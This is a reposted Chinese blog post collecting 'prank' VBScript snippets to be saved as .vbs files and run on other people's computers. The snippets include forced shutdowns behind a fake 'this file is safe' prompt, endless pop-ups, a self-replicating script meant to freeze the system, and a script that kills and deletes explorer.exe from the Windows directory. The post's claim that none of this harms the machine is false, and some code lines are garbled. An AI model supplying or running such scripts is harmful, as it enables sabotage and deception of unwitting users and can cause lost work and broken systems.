码迷,mamicode.com
首页 > 其他好文 > 详细

一些恶作剧的vbs程序代码

时间:2018-11-21 16:14:55      阅读:268      评论:0      收藏:0      [点我收藏+]

标签:color   kill   bom   data   arp   手动   窗口   exe   sleep   

恶作剧的vbs代码,这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处,最多关机重启一下就可以了,将下面的任意一段代码保存为*.vbs即可

循环弹窗:

do 
msgbox "hi" 
loop 

英文报数:

Set s = CreateObject("sapi.spvoice") 
i=0 
do 
s.speak i 
i=i+1 
loop 

打开计算器:

Set ws = CreateObject("Wscript.Shell") 
ws.run "cmd.exe /c call calc.exe",0 

删除explorer.exe,导致桌面没有显示:(找回桌面方法:找到同级目录下的explorer.data   将后缀名改为.exe就还原了)

set ws=CreateObject("Wscript.Shell") 
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 
wscript.sleep 900 
ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" 
wscript.sleep 1200 
ws.run "cmd.exe /c del /q /f %windir%\explorer.exe 

关机:

set sh=wscript.createobject("wscript.shell") 
sh.run"shutdown -s -t 332" 

关闭当前打开的所有窗口:

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
for d=0 to 40 
WSHshell.SendKeys "%{F4}" 
next 

(手动打开计算机声音)语音倒计时,并执行关机:

dim a 
a=10 
Set objShell = CreateObject("Wscript.Shell") 
objShell.Run "shutdown -s -t 10",,true 
Set s = CreateObject("sapi.spvoice") 
while a 
s.Speak a 
a = a - 1 
wscript.sleep 100 
wend 
CreateObject("SAPI.SpVoice").Speak "Bomb?" 

可导致电脑死机代码:

do 
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) 
loop 
msgbox"让你见识一下啥叫狠毒!" 
do 
set ws=createobjecet("wscript.shell") 
ws.run"explorer.exe" 
ws.run"cmd.exe" 
loop 
set s.createobject("wscript.shell") 
lsfile=wscript.scriptfullname ‘获得自己的名称 
do ‘死循环 
s.run lsfile ‘自己运行自己 
s.run "notepad" ‘运行记事本 
loop ‘几秒就死机,哈 

  

执行制定命令,不管对于否 都将执行 ——关机:

msgbox"此文件无毒,请放心使用。",vbretrycancel,"系统提示。" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.Run "cmd.exe /c shutdown -s -t 300" 
wscript.sleep 2000 
dim a 
do 
a=inputbox("输入666,否则关机。") 
if a="666" then 
msgbox" 很遗憾,你中招了,这是整人程序,你就等着关机吧!" 
exit do 
else 
msgbox"乖点,输入666" 
end if 
loop 

执行制定命令,输入不正确执行关机,否则取消执行关机命令

on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true 
dim a 
do while(a <> "我是猪") 
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) 
msgbox "" 
loop 
msgbox "早说就行了嘛" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox "自己骂自己的不要脸~~~~~~",4, " " 
on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹,快喊"" ",0 ,true 
dim a 
do while(a <> "") 
a = inputbox ("喊我爹,快撒,喊 """" ","喊不喊","不喊",8000,7000) 
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
loop 
msgbox chr(13) + chr(13) + chr(13) + "儿子" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃" 

 

无聊弹窗:

msgbox"你是不是很无聊啊?",4 
msgbox"我来陪你玩会儿" 
msgbox"做好玩儿的准备吧!" 
do 
msgbox"你无聊吗?",vbinformation,"你无聊吗?" 
loop 

不断刷新(相当于狂按F5):

set ws=createobject("wscript.shell") 
do 
ws.sendkeys "{f5}" 
loop 

语音输出:

dim a 
set a=createobject("sapi.spvoice") 
a.speak "我想大声告诉你" 

永远诉说不完的故事:

dim a 
a=msgbox("给你讲个故事!",vbyesno,"阿飞正传") 
if a=vbyes then 
do 
msgbox("从前有座山") 
msgbox("山上有座庙") 
msgbox("庙里有两个和尚") 
msgbox("大和尚给小和尚讲故事说") 
a=1 
loop while a=1 
end if 

 

 

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

父母给的是背景,自己打的才叫天下。

 

一些恶作剧的vbs程序代码

标签:color   kill   bom   data   arp   手动   窗口   exe   sleep   

原文地址:https://www.cnblogs.com/afeige/p/9994622.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!